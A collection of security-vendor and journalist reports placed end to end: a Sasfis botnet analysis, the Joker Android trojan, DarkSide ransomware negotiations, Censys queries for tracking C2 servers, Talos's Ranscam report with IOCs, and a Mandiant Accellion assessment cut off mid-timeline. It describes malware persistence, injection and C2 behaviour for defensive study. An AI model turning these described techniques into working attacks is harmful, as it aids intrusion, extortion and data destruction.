wrapped in a decoder. The injection technique that is used in the DLL loader is rather new and had not been seen until the Dofoil campaign last year. It is also worth mentioning that some of the custom packers used by Sasfis were found to be identical to the packers being used for packing the Andromeda botnet client – however, a discussion of Andromeda is outside the scope of this article. ## Payload The payload of Sasfis acts as a listening client in the botnet operation. It does not have a predefined task and only listens for commands that are issued by the C&C server. The traffic that would be accepted by the C&C server is described below: ``` [C&C server URL]/forum/index.php?r=gate&id=XXXXXXX&group=XXXXX&debug=0 ``` And in later versions (appeared on 23 July): ``` [C&C server URL]/forum/index.php?r=gate&id=XXXXXXX&group=XXXXX&debug=0&ips=XXX ``` And when the host has been infected more than once in the later edition (first appeared on 6 August) the following traffic pattern will appear: ``` [C&C server URL]/forum/index.php?r=gate/getipslist&id=XXXXXXX ``` Where: - `id` is the volume serial number that can be used as the unique identity of the running machine - `group` is used by the C&C server to identify the running version of the botnet - `ips` is the local IP of the botnet client (for collecting data on local network topology). The first two request formats will allow the client to make contact with the C&C server. The third request format is used for getting a new IP list of ‘possible’ C&C servers. In addition, the second and third request formats will be encrypted in the TCP traffic by RC4 with the volume serial number as a key. ## Downloads Once it has registered itself on the C&C server, the Sasfis client will keep polling the server for possible downloads until it is no longer available. The downloaded files include the Asprox spambot (Dammec), a wide variety of password stealers (usually identified as Grabberz), and FakeAV. The Asprox spambot will download a template containing email recipients, the email content, and the attachment or link to download the attachment. FakeAV is downloaded as a pay-per-install element which allows the botnet owner to generate income. The traffic shows that a response will be sent back to another server to give notice that FakeAV has been run. ## Botnet Operation From the timeline, we can see that Sasfis is a growing botnet with increasing functionality and complexity. The groupID is most likely the date when the sample was produced. Through our study of an active Sasfis botnet, we noticed that the uptime of new C&C servers has decreased from an average of one week in May to an average of one to two days in September. This decreasing trend could be explained by the fact that the botnet has already been operating for a few months and it might have reached a point when it has established an optimal number of spambots to keep the botnet growing. In addition, the rapid change of botnet server indicated that the operator has been shifting focus from infecting more computers to preserving the existing infected hosts. By using a pool of malicious IP server addresses to create dynamic traffic, the botnet operator attempts to avoid overexposure of his malicious IPs (which could lead to being blocked by security products). The ‘get IP list’ command, which is triggered by a reinfection condition, reinforces this goal by rapidly exchanging the IP pool. Perhaps one of the most significant differences between this year’s Sasfis and older versions was its integration with Asprox. Traditionally, the Asprox spambot was hosted on different IPs separated from the Sasfis botnet. However, in the 2012 Sasfis samples (from the beginning of August when the IP list was used to replace the malicious domain list), we observed that the same pool of IP addresses was being used by both Asprox C&C servers (for keep-alive messages) and the Sasfis C&C servers. ## Relationship with Dofoil During the process of unpacking Sasfis and its affiliate downloaded item, FakeAV, we discovered that these samples both use the word ‘work’ as one of the names of an important export function which contains the malicious routine. Looking back at the Dofoil samples we collected between last year and the beginning of this year, we also observed that the word ‘work’ was revealed during the process of unpacking, marking the location of the payload. There is also a striking resemblance between the injection techniques used by Sasfis and Dofoil. The injection technique provides a way to release the malicious code to a section and attach it to a suspended legitimate window process. The malicious code will be executed when the process is resumed in the end. Since this technique is not common in other malware, these similarities strongly suggest that Sasfis and Dofoil are the work of the same group of authors. Our suspicions were further confirmed by the traffic record we have collected. The history in our system provides evidence that the Dofoil campaign left the cybercrime scene in early May, and the Sasfis campaign stepped in half a month later with the same server (same IP) under a new hostname. ## Conclusion We have concluded that there is a strong relationship between Sasfis and Dofoil. Through our comparison, it is apparent that the new Sasfis has many major improvements when compared to its older counterpart. As of today, the Sasfis 2012 campaign remains active because of its strong custom packer and we would probably expect more ‘features’ to become available in the near future.
# Joker Is Still No Laughing Matter **Richard Melick** **July 13, 2021** As one of the key members of Google’s App Defense Alliance, Zimperium helps ensure the Android ecosystem is safer by processing all apps before they reach Google Play. Despite this direct involvement, malicious applications can find their way to Android devices through various app stores, sideloaded applications, and compromised websites that trick users into downloading and installing apps. Since 2017, over 1,800 Android applications infected with Joker have been removed from the Google Play store, highlighting a long history of this malware and its evolution throughout the years. Despite Google’s advanced technologies and its partnerships with malware security companies like Zimperium, malicious actors have routinely found new and unique ways to get this malware into both official and unofficial app stores. While they are never long for life in these repositories, the persistence highlights how mobile malware, just like traditional endpoint malware, does not disappear but continues to be modified and advanced in a constant cat and mouse game. Recently, the Zimperium zLabs mobile threat research team has noticed a large uptick in Joker variants on Android marketplaces, with over 1000 new samples since our last coverage in September of 2020. These variants were found using the same malware machine learning engine powering zIPS on-device detection and Google’s App Alliance, proving that on-device detection capabilities are a must to ensure full protection of an enterprise’s mobile endpoints. ## What Is Joker? Joker trojans are malicious Android applications that have been known since 2017 for notoriously performing bill fraud and subscribing users to premium services. The outcome of a successful mobile infection is financial gain for the cybercriminal, oftentimes under the nose of the victim until long after the money is gone, with little to no recourse for recovery. The trojan’s main functionality is to load a dex file and perform malicious activities like inspecting notifications or sending SMS messages to premium subscriptions. While Google Play has worked hard to bring alerts to the mobile user, Joker counts on the distracted nature of mobile alerts and social engineering for them to be accepted or even ignored. The malicious activities can be divided into the following categories: 1. Decode or decrypt the strings to get the first stage URL. 2. Download the payload dex file from the above URL. 3. Load the payload dex file using reflection techniques to invoke the DexClassLoader constructor. 4. The dex file performs malicious activities and communicates with the C&C server. These are the four pivot points each Joker sample uses, and it employs several evasion techniques to remain undetected. Most often, Joker is disguised as commonly downloaded applications like games, wallpapers, messengers, translators, and photo editors. ## What Has Changed Since September 2020 The malicious developers behind the current, most advanced forms of Joker are taking advantage of legitimate developer techniques to try and hide the actual intent of the payload from traditional, legacy-based mobile security toolsets. They are starting by using the common framework Flutter to code the application in a way that is commonly seen by traditional scanners. Due to the commonality of Flutter, even malicious application code will look legitimate and clean, whereas many scanners are looking for disjointed code with errors or improper assemblies. The malicious developers are embedding Joker as a payload that can be encrypted in different ways, either a .dex file xored or encrypted with a number, or through the same .dex file as before, but hidden inside an image using steganography. Both manners are obfuscating the intent of the payload from the legacy scan and mobile security tools. After successful installation, the application infected with Joker will run a scan using Google Play APIs to check the latest version of the app in Google Play Store. If there is no answer, the malware remains silent since it can be running on a dynamic analysis emulator. But if the version found in the store is older than the current version, the local malware payload is executed, infecting the mobile device. If the version in the store is newer than the current one, then the command and control servers are contacted to download an updated version of the payload. Joker Trojan’s never seen before behavior includes URL shorteners, checking the current time against a hardcoded launch-time, image infected using steganography on legit cloud file hosting services, and a combination of native libraries to decrypt the offline payload from the APK’s assets or connect to C&C for the payload. ## Joker vs. Zimperium Zimperium zIPS customers are protected against 100% of these Joker variants analyzed with our zero-day, on-device z9 Mobile Threat Defense machine learning engine model and static analysis. As a standard protocol, the Zimperium zLabs team checks new malware samples against not only the current machine learning model but past ones as well. In the case of Joker, Zimperium zIPS customers have been constantly protected against these latest variants of this aggressive Android trojan. To ensure your Android users are protected from the Joker malware, we recommend a quick risk assessment. Inside zConsole, admins can review which apps are side-loaded onto the device that could be increasing the attack surface and leaving data and users at risk. ## About Zimperium Zimperium, the global leader in mobile security, offers the only real-time, on-device, machine learning-based protection against Android, iOS, and Chromebook threats. Powered by z9, Zimperium provides protection against device, network, phishing, and malicious app attacks.
# A Closer Look at the DarkSide Ransomware Gang The FBI confirmed this week that a relatively new ransomware group known as DarkSide is responsible for an attack that caused Colonial Pipeline to shut down 5,550 miles of pipe, stranding countless barrels of gasoline, diesel, and jet fuel on the Gulf Coast. Here’s a closer look at the DarkSide cybercrime gang, as seen through their negotiations with a recent U.S. victim that earns $15 billion in annual revenue. New York City-based cyber intelligence firm Flashpoint said its analysts assess with a moderate-strong degree of confidence that the attack was not intended to damage national infrastructure and was simply associated with a target which had the finances to support a large payment. “This would be consistent with DarkSide’s earlier activities, which included several ‘big game hunting’ attacks, whereby attackers target an organization that likely possesses the financial means to pay the ransom demanded by the attackers,” Flashpoint observed. In response to public attention to the Colonial Pipeline attack, the DarkSide group sought to play down fears about widespread infrastructure attacks going forward. “We are apolitical, we do not participate in geopolitics, do not need to tie us with a defined government and look for other our motives,” reads an update to the DarkSide Leaks blog. “Our goal is to make money, and not creating problems for society. From today we introduce moderation and check each company that our partners want to encrypt to avoid social consequences in the future.” First surfacing on Russian language hacking forums in August 2020, DarkSide is a ransomware-as-a-service platform that vetted cybercriminals can use to infect companies with ransomware and carry out negotiations and payments with victims. DarkSide says it targets only big companies and forbids affiliates from dropping ransomware on organizations in several industries, including healthcare, funeral services, education, public sector, and non-profits. Like other ransomware platforms, DarkSide adheres to the current bad guy best practice of double extortion, which involves demanding separate sums for both a digital key needed to unlock any files and servers, and a separate ransom in exchange for a promise to destroy any data stolen from the victim. At its launch, DarkSide sought to woo affiliates from competing ransomware programs by advertising a victim data leak site that gets “stable visits and media coverage,” as well as the ability to publish victim data by stages. Under the “Why choose us?” heading of the ransomware program thread, the admin answers: “High trust level of our targets. They pay us and know that they’re going to receive decryption tools. They also know that we download data. A lot of data. That’s why the percent of our victims who pay the ransom is so high and it takes so little time to negotiate.” In late March, DarkSide introduced a “call service” innovation that was integrated into the affiliate’s management panel, which enabled the affiliates to arrange calls pressuring victims into paying ransoms directly from the management panel. In mid-April, the ransomware program announced new capability for affiliates to launch distributed denial-of-service (DDoS) attacks against targets whenever added pressure is needed during ransom negotiations. DarkSide also has advertised a willingness to sell information about upcoming victims before their stolen information is published on the DarkSide victim shaming blog, so that enterprising investment scammers can short the company’s stock in advance of the news. “Now our team and partners encrypt many companies that are trading on NASDAQ and other stock exchanges,” DarkSide explains. “If the company refuses to pay, we are ready to provide information before the publication, so that it would be possible to earn in the reduction price of shares. Write to us in ‘Contact Us’ and we will provide you with detailed information.” DarkSide also started recruiting new affiliates again last month — mainly seeking network penetration testers who can help turn a single compromised computer into a full-on data breach and ransomware incident. “We have grown significantly in terms of the client base and in comparison to other projects (judging by the analysis of publicly available information), so we are ready to grow our team and a number of our affiliates in two fields,” DarkSide explained. The advertisement continued: “Network penetration testing. We’re looking for one person or a team. We’ll adapt you to the work environment and provide work. High profit cuts, ability to target networks that you can’t handle on your own. New experience and stable income. When you use our product and the ransom is paid, we guarantee fair distribution of the funds. A panel for monitoring results for your target. We only accept networks where you intend to run our payload.” DarkSide has shown itself to be fairly ruthless with victim companies that have deep pockets, but they can be reasoned with. Cybersecurity intelligence firm Intel 471 observed a negotiation between the DarkSide crew and a $15 billion U.S. victim company that was hit with a $30 million ransom demand in January 2021, and in this incident, the victim’s efforts at negotiating a lower payment ultimately reduced the ransom demand by almost two-thirds. The first exchange between DarkSide and the victim involved the usual back-and-forth establishing of trust, wherein the victim asks for assurances that stolen data will be deleted after payment. When the victim counter-offered to pay just $2.25 million, DarkSide responded with a lengthy, derisive reply, ultimately agreeing to lower the ransom demand to $28.7 million. “The timer is ticking and in the next 8 hours your price tag will go up to $60 million,” the crooks replied. “So, you have your options: first take our generous offer and pay us $28.75 million or invest some monies in quantum computing to expedite a decryption process.” The victim complains that negotiations haven’t moved the price much, but DarkSide countered that the company can easily afford the payout. “I don’t think so,” they wrote. “You aren’t poor and aren’t children; if you f*cked up, you have to meet the consequences.” The victim firm replies a day later saying they’ve gotten authority to pay $4.75 million, and their tormentors agree to lower the demand significantly to $12 million. The victim replies that this is still a huge amount, and it tries to secure additional assurances from the ransomware group if it agrees to pay the $12 million, such as an agreement not to target the company ever again, or give anyone access to its stolen data. The victim also tried to get the attackers to hand over a decryption key before paying the full ransom demand. The crime gang responded that its own rules prohibit it from giving away a decryption key before full payment is made, but they agree to the rest of the terms. The victim firm agrees to pay an $11 million ransom, and their extortionists concur and promise not to attack or help anyone else attack the company’s network going forward. Flashpoint assesses that at least some of the criminals behind DarkSide hail from another ransomware outfit called “REvil,” a.k.a. “Sodinokibi” (although Flashpoint rates this finding at only “moderate” confidence). REvil is widely considered to be the newer name for GandCrab, a ransomware-as-a-service offering that closed up shop in 2019 after bragging that it had extorted more than $2 billion. Experts say ransomware attacks will continue to grow in sophistication, frequency, and cost unless something is done to disrupt the ability of crooks to get paid for such crimes. According to a report late last year from Coveware, the average ransomware payment in the third quarter of 2020 was $233,817, up 31 percent from the second quarter of last year. Security firm Emsisoft found that almost 2,400 U.S.-based governments, healthcare facilities, and schools were victims of ransomware in 2020. Last month, a group of tech industry heavyweights lent their imprimatur to a task force that delivered an 81-page report to the Biden administration on ways to stymie the ransomware industry. Among many other recommendations, the report urged the White House to make finding, frustrating, and apprehending ransomware crooks a priority within the U.S. intelligence community, and to designate the current scourge of digital extortion as a national security threat.
# Advanced Persistent Infrastructure Tracking ## Attack Surface Management Censys is a pioneer in Attack Surface Management, helping organizations see threats before others do and contain problems before they arise. ### Inside Censys At Censys, you can be yourself—we like it that way. Diversity fuels our mission of providing a secure internet for everyone, and we are committed to inclusion across the spectrum to bolster us as leaders in our industry. ## Using OSINT Services for Tracking Malicious Infrastructure ### Introduction Most cyber activity by malicious actors requires infrastructure like servers on the internet. The larger the campaign, the more servers are needed. Some APT groups have used several thousand Command and Control (C2) servers over the years. For Threat Intelligence, this offers unique opportunities for tracking such activities, because often the C2 servers need to be configured in a specific way, and many actors have developed their idiosyncratic habits of setting up servers. An essential advantage over purely forensic investigations of incidents is that analyzing the infrastructure can sometimes identify C2 servers even before they are used in an attack. Internet search engines like Censys are crucial in this type of analysis. They collect information about hosts on the internet and their configurations, thereby saving researchers the effort of scanning large address spaces themselves. This article explains why infrastructure tracking is possible, what attributes can be important to look at, shows two recent examples, an example process, and gives some hints for starting out with infrastructure analysis. Keep in mind that this article only discusses passive methods for finding and clustering malicious infrastructure. Active methods, such as scanning for hosts yourself, introduce further possibilities such as mimicking a malware's handshake to identify C2 servers or victims with high confidence. Also, this article covers only HTTP(S) based infrastructure. ### Background There are multiple reasons why malicious infrastructure can be found via Censys and similar services, most of them due to mistakes in operations security (OPSEC). While the following paragraph is surely not exhaustive, it mentions a few key points why such mistakes happen. Some actors might not be aware of their mistakes, but others might even be aware of the impact on OPSEC. Yet, since they need to trade off OPSEC for efficiency, they sometimes seem to decide to take the risk. 1. The pace of cyber attacks has greatly increased. While cyber attacks were the exception some years ago, today they are business as usual. Due to the growing number of targets, the demand for infrastructure has also increased. To save valuable time, some kind of infrastructure automation is used to set up and configure servers. Some actors choose the easiest way by deploying prepared images, while others seem to set up C2 servers via scripts. 2. Different teams are responsible for operating campaigns and setting up infrastructure. While some experienced operators (who conduct the actual attacks) might know about OPSEC pitfalls, in some groups, the infrastructure is set up by another team that is not aware of the technical possibilities to identify their servers. 3. Specific terms need to be used to appear legitimate to potential victims. Often it is necessary to trick the victims into thinking the used infrastructure is legitimate. This can either be to hide in the general network traffic or because the victim would recognize suspicious addresses in the URL bar, e.g., for phishing campaigns. 4. No OPSEC-by-design. In general, many actors do not seem to follow OPSEC-by-design. Instead of thinking beforehand about how Threat Intelligence analysts could identify their servers, they seem to live by trial-and-error or at least only improve their OPSEC after being outed in a Threat Intelligence report. Because we don’t want to provide OPSEC tips for recent threats, this blog post only covers already known infrastructure that has been blogged about. ### Criteria for Clustering Hosts There are multiple criteria that can be used for finding and clustering infrastructure. Some of them are listed here, including the respective attributes that can be used for searching this host. In general, there are three groups of criteria: response header, response content, and certificates. Because some threat actors use custom server-side software or specific library versions, responses to HTTP requests often include a characteristic combination of headers. So, hosts can be clustered either by the absence of a header or by specific header strings. Also, the response content can contain characteristic artifacts. Some Command and Control servers try to mimic a specific web server and therefore deliver some kind of default page as an index or error page. A well-known example is the use of the Microsoft Internet Information Service (IIS) default web page as an index page for Powershell Empire. Scanning services typically access just the index page or receive an error page as a response if the C2 server expects a certain path to be accessed. In these cases, often the hash value of the response body can be used for clustering hosts. Other actors sometimes use a default setup, where another website will be completely cloned first and changed afterward. In these cases, it can be helpful to search for specific resources in the website, such as used favicons, embedded JavaScript snippets (and ad network or tracking IDs that might be in there), or included CSS files. The last group of criteria are certificates. Filtering by serial number, fingerprint, or distinguished name can be a useful way to cluster hosts by their certificates. Actors might tend to use a specific certificate authority along quite unique terms in the common name or even reuse self-signed certificates across all their infrastructure. Both response content and certificates are sometimes created in a way that appears legitimate to potential victims and therefore include specific elements. ### Example 1 – Tracking Based on HTTP Headers As a broadly known commercial penetration testing toolkit, Cobalt Strike (CS) is not only used by Red Teams. Over time, lots of different threat actors have used (and probably continue to use) it as a first stage. The typical server response for Cobalt Strike can be characterized as follows: ``` HTTP 404 Not Found Content-Type: text/plain Content-Length: 0 Date Header No Server-Header ``` With these criteria, we can easily find servers using the following Censys query: ``` 80.http.get.status_line: "404 Not Found" AND 80.http.get.headers.content_type: "text/plain" AND 80.http.get.headers.content_length: 0 NOT _exists_:80.http.get.headers.server ``` Be aware that not all results you see necessarily are Cobalt Strike instances, but it is a good indicator. Also, Cobalt Strike is not limited to port 80. Apart from the default TLS certificate used by the tool, you can find other instances using TLS by additionally searching for popular certificate authorities or self-signed certificates. ### Example 2 – Tracking Based on Certificate Data In July 2020, NCSC UK, the national cyber security authority in the UK, published an advisory about APT29 targeting COVID-19 vaccine research. The group, also known as “The Dukes” or “Cozy Bear,” used Citrix and VPN vulnerabilities to attack various companies connected to vaccine development. In these campaigns, the group used two custom malware families, WellMess and WellMail. The infrastructure used by the perpetrators included very specific self-signed certificates, which made them easy to track. ``` Issuer: C=Tunis, O=IT, CN=* Subject: C=Tunis, O=IT ``` By using the certificate distinguished names, we can create a query to find recent infrastructure: ``` 443.https.tls.certificate.parsed.subject_dn: "C=Tunis, O=IT" AND 443.https.tls.certificate.parsed.issuer_dn: "C=Tunis, O=IT, CN=*" ``` ### Example Process When I started with infrastructure tracking, I wrote a simple Python tool that queried different data sources based on a given rule. The rule included the necessary query, and the script sent the results to other systems. After setting up cron jobs to run your scripts, you’re good to go—without needing a huge software stack. In case I need the raw response from the queried sources, I store all API responses in a JSON file. This way, I can create a completely new data structure if needed, without losing data. ### Tips for Starters While you’re going to develop your own procedures for infrastructure tracking, I want to give some advice for people starting out: 1. **Combine different resources.** In order to get the most precise picture of the infrastructure used by adversaries, it is very helpful to combine various services that deliver different types of information. In addition to host data (e.g., from Censys or Shodan), pivoting through infrastructure can be enhanced through passive DNS data (e.g., RiskIQ or Domaintools) and certificate data (e.g., Censys or crt.sh). 2. **Store results in a searchable and flexible way.** After you start with infrastructure tracking, you’re eventually going to have a lot of data, and you definitely want to be able to search through that data very fast. Having your data in an Elasticsearch cluster or a similar searchable data storage will save you a ton of time. 3. **Keep older results.** Do not delete results of older search queries. Keeping and updating host information allows the discovery of interesting patterns. Also, it is quite useful to have first and last seen dates for C2 servers. 4. **Document your queries.** Your ever-growing number of queries need to be documented somehow; otherwise, you’re going to lose the overview. A good starting point is to create a schema that includes metadata such as a description. ### Conclusion Threat actors are bound by similar constraints as network defenders—time, money, skills, and laziness. This leads to mistakes or certain habits when setting up their infrastructure. With some creativity and tooling, network defenders can exploit those mistakes and habits to track malicious infrastructure. The reward will be IoCs and insights into the activities of the attackers. Censys and other tools give analysts a great head start. The magic then is in the queries that you write.
# When Paying Out Doesn't Pay Off This blog post was authored by Edmund Brumaghin and Warren Mercer. ## Summary Talos recently observed a new ransomware variant targeting users. This ransomware shows that new threat actors are continuing to enter the ransomware market at a rapid pace due to the lucrative nature of this business model. As a result, greater numbers of unique ransomware families are emerging at a faster rate. This sometimes results in complex variants emerging or, in other cases, like this one, less sophisticated ones. In many cases, these new ransomware threats share little resemblance to some of the more established operations in their approach to infecting systems, encrypting/removing files, or the way in which they attempt to coerce victims into complying with their ransom demands. Ranscam is one of these new ransomware variants. It lacks complexity and also tries to use various scare tactics to entice the user to pay. One such method used by Ranscam is to inform the user they will delete their files during every unverified payment click, which turns out to be a lie. There is no longer honor amongst thieves. Similar to threats like AnonPop, Ranscam simply deletes victims’ files and provides yet another example of why threat actors cannot always be trusted to recover a victim’s files, even if the victim complies with the ransomware author’s demands. With some organizations likely choosing to pay the ransomware author following an infection, Ranscam further justifies the importance of ensuring that you have a sound, offline backup strategy in place rather than a sound ransom payout strategy. Not only does having a good backup strategy in place help ensure that systems can be restored, it also ensures that attackers are no longer able to collect revenue that they can then reinvest into the future development of their criminal enterprise. ## Infection Details ### Ransom Note The first thing a compromised user would likely notice is the ransom note displayed by the malware, which is interesting for several reasons. First, it purports to have moved the user’s files to a “hidden, encrypted partition” rather than simply leaving the files encrypted in their current storage location. Additionally, it is displayed by the malware after each reboot following the initial compromise. It consists of a JPEG that is temporarily stored on the user’s desktop, as well as two framed elements that are remotely retrieved using Internet Explorer each time the note is displayed. In the lower portion (which is rendered using elements gathered from various web servers using Internet Explorer), rather than directing users to an external location to verify their payment, it contains a clickable button that, when pressed, claims that it is verifying payment. It will then display a verification failure notice, and the ransom note threatens to delete one file each time the button is clicked without payment having been submitted. What is actually occurring is the malware is simply making two HTTP GET requests to obtain the PNG images that it uses to simulate the verification process. There is no actual verification occurring. The unfortunate reality is that all of the user’s files have already been deleted and are unrecoverable by the ransomware author, as there is no capability built into Ranscam that actually provides recovery functionality. The author is simply relying on “smoke and mirrors” in an attempt to convince victims that their files can be recovered in hopes that they will choose to pay the ransom. The lack of any encryption (and decryption) within this malware suggests this adversary is looking to ‘make a quick buck’ - it is not sophisticated in any way and lacks functionality associated with other ransomware such as Cryptowall. ### What Actually Happens This ransomware is packaged as a .NET executable that is signed using a digital certificate issued by reca[.]net. On the sample analyzed, this digital certificate appears to have been issued on July 06, 2016. When the victim executes this file, it performs several actions to maintain persistence on the system. First, it copies itself into %APPDATA%\ and uses Task Scheduler to create a scheduled task that is configured to start itself each time the system is started. Additionally, it unpacks and drops an executable into %TEMP%\. The executable called by this scheduled task uses the Windows Command Processor to call a batch file responsible for the majority of the destructive activity associated with this ransomware. The batch file simply iterates through several folders within the victim’s file system, mainly user profile folders as well as several defined application directories. However, instead of encrypting the victim’s files, it simply deletes all contents. The script also performs several other destructive actions on the infected system, including: - Deleting the core Windows executable responsible for System Restores - Deleting shadow copies - Deleting several registry keys associated with booting into Safe Mode - Setting registry keys to disable Task Manager - Setting the Keyboard Scancode Map The script then uses PowerShell to facilitate the retrieval of the JPEG used to render the ransom note. Once the aforementioned activities are completed, the script then forces a system shutdown. These activities are repeated each time the system boots up following the infection, with the scheduled task calling the malware to check for new files in various directories and deleting them if they exist, displaying the ransom note, and eventually forcing a system shutdown. An open file listing from the web server hosting the contents used by the ransom note is below. We identified this on one of the threat actor’s web servers, which used a default configuration - no attempt was (or has) been made by the attacker to obfuscate this data. During our analysis, we were “coincidentally” unable to successfully perform the required Bitcoin transaction and requested that the ransomware author send us payout instructions via an email we registered. Shortly after making our request, we received the following email. We then decided to see what we could find out about this threat actor by asking them to help us out with submitting the payout. A couple of hours later, we received the following response with further instructions as well as the “helpful” recommendation that we make the payment prior to bank closure the following day. Unfortunately, we were unable to elicit further communication from the threat actor; however, this highlights the continued willingness of ransomware operations to provide ongoing technical support to victims to maximize the likelihood that they will receive payouts. The adversaries decided using Bitcoin would be a sensible approach as they most likely believe the anonymity factor can be employed and that they can’t get caught. However, one major opsec failure was featured here: address re-use. The attackers provided and used the same wallet address for all payments and for all samples Talos encountered. The address in question was: `1G6tQeWrwp6TU1qunLjdNmLTPQu7PnsMYd`. We reviewed all transactions associated with this address and found a total of $277.61 had been transacted, suggesting the attackers have used this wallet prior to releasing this shoddy implementation of ransomware. We based this on the fact that the digital signature used to sign this executable was issued on July 6th. There have been no transactions associated with this wallet since June 29, 2016. ## Conclusion As Ranscam shows, threat actors cannot simply be trusted and often use deception as a means to achieve their objective, which in this case is convincing victims to pay out. This is because they never intended on providing a means to retrieve or recover the victim’s files in the first place. Currently, the Ranscam campaign does not appear to be widespread, and there have been no large-scale email spam campaigns currently leveraging this scareware. Ranscam shows the desire of adversaries to enter the ransomware/scareware arena. They do not need to use novel attacks or even fully functional ransomware, as seen here; this appears to be an amateur malware author and is not a sophisticated campaign. The main component of Ranscam is scaring victims into paying, and they do not even manage to facilitate that at times due to failures in the frame rendering used to deliver their malware payment screen. The key takeaway Talos would like to offer is that a comprehensive backup solution which can offer a realistic recovery time objective (RTO) is key to battling ransomware. Maintaining the ability to bring an infected system back to a known-good configuration as quickly as possible should be the goal. This ensures that adversaries do not benefit from revenue streams that they can use to further refine their tactics, techniques, and procedures. Additionally, these backups should be tested at a regular periodicity to ensure that they remain functional, effective, and continue to meet the needs of the organization as those needs may change over time. By paying ransomware authors, organizations are contributing to the proliferation of ransomware by providing threat actors with the capital necessary to mature their capabilities and infect future victims. Additionally, organizations that pay their attackers make themselves a target for future compromise if they are not successful in or otherwise lack the capability needed to ensure that they have fully eradicated the source of their initial compromise. They also identify themselves as organizations that are willing to pay ransoms, thus they may be targeted more often as threat actors know that they have a higher likelihood of making money by successfully infecting them. ## Coverage Additional ways our customers can detect and block this threat are listed below: - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. - CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. - The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors. - ESA can block malicious emails sent by threat actors as part of their campaign. ## Indicators of Compromise (IOCs) **Hashes:** - 9541fadfa0c779bcbae5f2567f7b163db9384b7ff6d44f525fea3bb2322534de (SHA256) - 7a22d6a14a600eee1c4de9716c3003e92f002f2df3e774983807a3f86ca50539 (SHA256) - B3fd732050d9b0b0f32fafb0c5d3eb2652fd6463e0ec91233b7a72a48522f71a (SHA256) **Hosts Contacted:** - s3-us-west-1[.]amazonaws[.]com 54.231.237.25 - crypted[.]site88[.]net 31.170.162.63 - publicocolombiano[.]com 192.185.71.136 - www[.]waldorftrust[.]com 205.144.171.114 - cryptoglobalbank[.]com 31.170.160.179 **Files Dropped:** - %APPDATA%\winstrsp.exe - %TEMP%\winopen.exe **Registrant Email:** - cryptofinancial[@]yandex[.]com
# Accellion, Inc. ## File Transfer Appliance (FTA) Security Assessment **March 1, 2021** ## Executive Summary Mandiant was engaged by Accellion, Inc. (Accellion) to perform a security assessment of Accellion's File Transfer Appliance (FTA) software, in the wake of two related but distinct exploits used to attack client Accellion FTA systems—one that was discovered and addressed by Accellion in December 2020 (the “December Exploit”), and another that was discovered and addressed by Accellion in January 2021 (the “January Exploit”) (collectively, the “Exploits”). The objectives of Mandiant’s security assessment included: - Independently identifying the security vulnerabilities used in the attack activity, based on review of compromised Accellion FTA instances - Validating the patches that Accellion issued for the vulnerabilities - Testing FTA version 9.12.432 (current as of the time of Mandiant testing) for further vulnerabilities in the software This assessment was performed between February 4, 2021 and February 26, 2021. ### Summary of Results Accellion identified two zero-day vulnerabilities that were part of the December Exploit—CVE-2021-27101 and CVE-2021-27104—and two zero-day vulnerabilities that were part of the January Exploit—CVE-2021-27102 and CVE-2021-27103. Based on Mandiant’s own forensic analysis of a sample of compromised Accellion FTA instances, Mandiant confirmed that the attacker activity exploited these vulnerabilities (the “Exploited Vulnerabilities”). Mandiant did not identify any additional vulnerabilities that were exploited by the attackers. Mandiant also validated the efficacy of the patches Accellion released to address the Exploited Vulnerabilities, which Accellion made available to FTA customers soon after each Exploit was identified. The Exploited Vulnerabilities were of critical severity because they were subject to exploitation via unauthenticated remote code execution. Through its source code analysis and penetration testing, Mandiant did not identify any new such unauthenticated remote code-execution vulnerabilities. Mandiant did identify two previously unknown authenticated-user vulnerabilities: 1. Argument Injection (CVE-2021-27730), accessible to authenticated users with administrative privileges 2. Stored Cross-Site Scripting (CVE-2021-27731), accessible to regular authenticated users The Argument Injection finding yielded a Common Vulnerability Scoring System (CVSS v3.0) score of 6.6 (medium severity) and the Stored Cross-Site Scripting finding was rated 8.1 (high severity). Accellion has developed a patch for these two vulnerabilities (FTA 9.12.444), which Mandiant has validated. ### Project Scope **Accellion FTA Vulnerability Identification:** Mandiant reviewed the source code for Accellion FTA versions 9.12.370 through 9.12.432, as well as a sample of ten (10) forensic images from affected Accellion FTA instances, in order to identify the vulnerabilities involved in the attack activity and to test for additional vulnerabilities. This review involved the following methods: 1. Source code analysis 2. Dynamic penetration testing of Accellion FTA 3. Forensic analysis of compromised Accellion FTA appliances **Accellion FTA Patch Validation:** Mandiant reviewed the Accellion FTA product version 9.12.432 (current as of the time of Mandiant’s review) to validate that the version mitigated the Exploited Vulnerabilities. Mandiant then attempted variations of exploits to determine if the 9.12.432 version of Accellion FTA could be exploited using variations of the known attack vectors. ### Technical Details This section describes the scope and technical details for this assessment. #### Timeline of Events Below is a timeline of the relevant events, starting with the first detection of anomalous activity, up to the latest Accellion FTA patch pushed to customers. - **Exploit** - Dec. 16, 2020: First known use of December Exploit: exploit trips FTA’s built-in anomaly detector on customer’s device - **Investigation** - Dec. 16, 2020: Customer notifies Accellion that its anomaly detector was triggered - **Investigation** - Dec. 16-19, 2020: Accellion investigates and identifies vulnerabilities affecting FTA 9.12.370 – SQL Injection (CVE-2021-27101) and OS Command Execution (CVE-2021-27104) - **Mitigation** - Dec. 20, 2020: Accellion releases patch FTA 9.12.380, which remediates CVE-2021-27101 and CVE-2021-27104 - **Mitigation** - Dec. 23, 2020: Accellion releases patch FTA 9.12.411, increasing anomaly detector checks from one per day to one per hour - **Exploit** - Jan. 20, 2021: First known use of January Exploit (unknown to Accellion at the time) - **Exploit** - Jan. 22, 2021: Through multiple customer service inquiries, Accellion learns of anomalous activity indicative of new exploit - **Mitigation** - Jan. 22, 2021: Accellion issues critical security alert advising FTA customers to shut down their FTA systems immediately - **Mitigation** - Jan. 22-25, 2021: Accellion investigates and identifies Server-Side Request Forgery (CVE-2021-27103) and OS Command Execution (CVE-2021-27102) vulnerabilities - **Mitigation** - Jan. 25, 2021: Accellion releases patch FTA 9.12.416, which remediates CVE-2021-27102 and CVE-2021-27103 - **Mitigation** - Jan. 28, 2021: Accellion releases patch FTA_9.12.432, increasing frequency of anomaly detector checks to every 10 minutes - **Review** - Feb. 4, 2021: Mandiant begins security assessment - **Review** - Feb. 28, 2021: Mandiant concludes assessment, identifying two new findings – Argument Injection (CVE-2021-27730) and Stored XSS (CVE-2021-27731) - **Mitigation** - Mar. 1, 2021: 